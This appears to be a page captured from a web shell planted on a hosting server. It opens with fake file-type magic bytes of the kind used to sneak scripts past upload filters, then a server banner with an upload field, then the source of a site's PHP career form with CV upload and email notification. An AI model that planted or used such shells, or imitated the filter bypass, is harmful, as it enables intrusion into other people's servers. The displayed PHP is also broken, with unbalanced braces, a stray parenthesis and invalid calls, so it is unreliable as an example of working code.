%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_1ec2d7c2/webroot/front/ |
Upload File : |
<?php
if($this->input->post('submit_contact') && $this->input->post('submit_contact')=="1" && $this->input->post('check_form')=="")
{
if($this->input->post('token') == $this->session->userdata('token') && $this->input->post('check_form')==""){
$datasaved = array(
"name"=>$this->security->xss_clean($this->input->post('first_name')),
"email"=>$this->security->xss_clean($this->input->post('email')),
"contact_number"=>$this->security->xss_clean($this->input->post('phone')),
"message"=>$this->security->xss_clean($this->input->post('message')),
"add_date"=>date("Y-m-d h:i:s")
);
$this->db->insert("bh_career",$datasaved);
$lastid = $this->db->insert_id();
$cvsend = '';
if ($_FILES['cv']['name'])
{
$error_view_url = 'admin/user/edit';
$FileName = $this->commonmod_model->uploadDocFile
('./webroot/images/original/','./webroot/images/cv/','3048','3400','1800','cv',$error_view_url);
if($FileName!=''){
$upd_data = array("cv"=>$FileName);
$this->db->where('id', $lastid);
$this->db->update('bh_career', $upd_data);
$cvsend = '<a href="'.BASE_URL.'webroot/images/cv/'.$FileName.'">click to view cv </a>';
}
}
$config2['protocol'] = 'sendmail';
$config2['mailpath'] = '/usr/sbin/sendmail';
$config2['mailtype'] = 'html';
$config2['charset'] = 'iso-8859-1';
$config2['wordwrap'] = TRUE;
$this->email->initialize($config2);
$this->email->from(FROM_EMAIL, FROM_NAME);
$this->email->to(ADMIN_EMAIL_ID);
$this->email->cc(CC_EMAIL_ID);
//$this->email->bcc('them@their-example.com');
$this->email->subject('Career | '.WEBSITE_EMAIL_TITLE);
$message = '<h2>'.WEBSITE_EMAIL_TITLE.'</h2>';
$message .= '<p>'.$this->security->xss_clean($this->input->post('first_name')).' have send career details with Us.</p>';
$message .= '<p>Name: '.trim($this->security->xss_clean($this->input->post('first_name'))).'</p>';
$message .= '<p>Email: '.trim($this->security->xss_clean($this->input->post('email'))).'</p>';
$message .= '<p>Phone: '.trim($this->security->xss_clean($this->input->post('phone'))).'</p>';
if($cvsend!=''){
$message .= '<p>Cv: '.$cvsend.'</p>';
}
$message .= '<p>Message: '.trim($this->security->xss_clean($this->input->post('message'))).'</p>';
$message .='<p>Thanks <br>
'.WEBSITE_SIGNATURE.'
</p>';
$this->email->message($message);
$this->email->send();
/* Send User Email */
$User_EmailId = $this->security->xss_clean($this->input->post('email'));
$config2['protocol'] = 'sendmail';
$config2['mailpath'] = '/usr/sbin/sendmail';
$config2['mailtype'] = 'html';
$config2['charset'] = 'iso-8859-1';
$config2['wordwrap'] = TRUE;
$this->email->initialize($config2);
$this->email->from(FROM_EMAIL, FROM_NAME);
$this->email->to($User_EmailId);
//$this->email->cc(CC_EMAIL_ID);
//$this->email->bcc('them@their-example.com');
$this->email->subject('Career | '.WEBSITE_EMAIL_TITLE);
$message = '<h2>'.WEBSITE_EMAIL_TITLE.'</h2>';
$message .= '<p>Hi '.trim($this->security->xss_clean($this->input->post('first_name'))).' you have successfully send cv, <br> We will contact you soon.</p>';
$message .='<p>Thanks <br>
'.WEBSITE_SIGNATURE.'
</p>';
$this->email->message($message);
$this->email->send();
$_SESSION['success'] = "<span style='color:green;'>Career Form is submitted successfully.</span>");
}else{
$_SESSION['success'] = "<span style='color:red;'>Form Token not Matching</span>";
}
}
}
}
}
?>
<?=@$_SESSION['success']; unset(@$_SESSION['success'])?>
<form action="<?=BASE_URL.'career.htm'?>" method="post" enctype="multipart/form-data" name="contactform" id="contactform">
<div class="row">
<div class="col-md-6">
<input name="first_name" type="text" id="name" placeholder="Full Name">
</div>
<div class="col-md-6">
<input type="text" name="phone" placeholder="Phone Number">
</div>
<div class="col-md-6">
<input name="email" type="text" id="email" placeholder="Email">
</div>
<div class="col-md-6">
<input type="text" name="cv" placeholder="Browse File">
</div>
<div class="col-md-12">
<textarea rows="4" name="message" id="comments" placeholder="Message"></textarea>
</div>
<button title="" class="button readmore" type="submit" id="submit">Submit Now</button>
</div>
</form>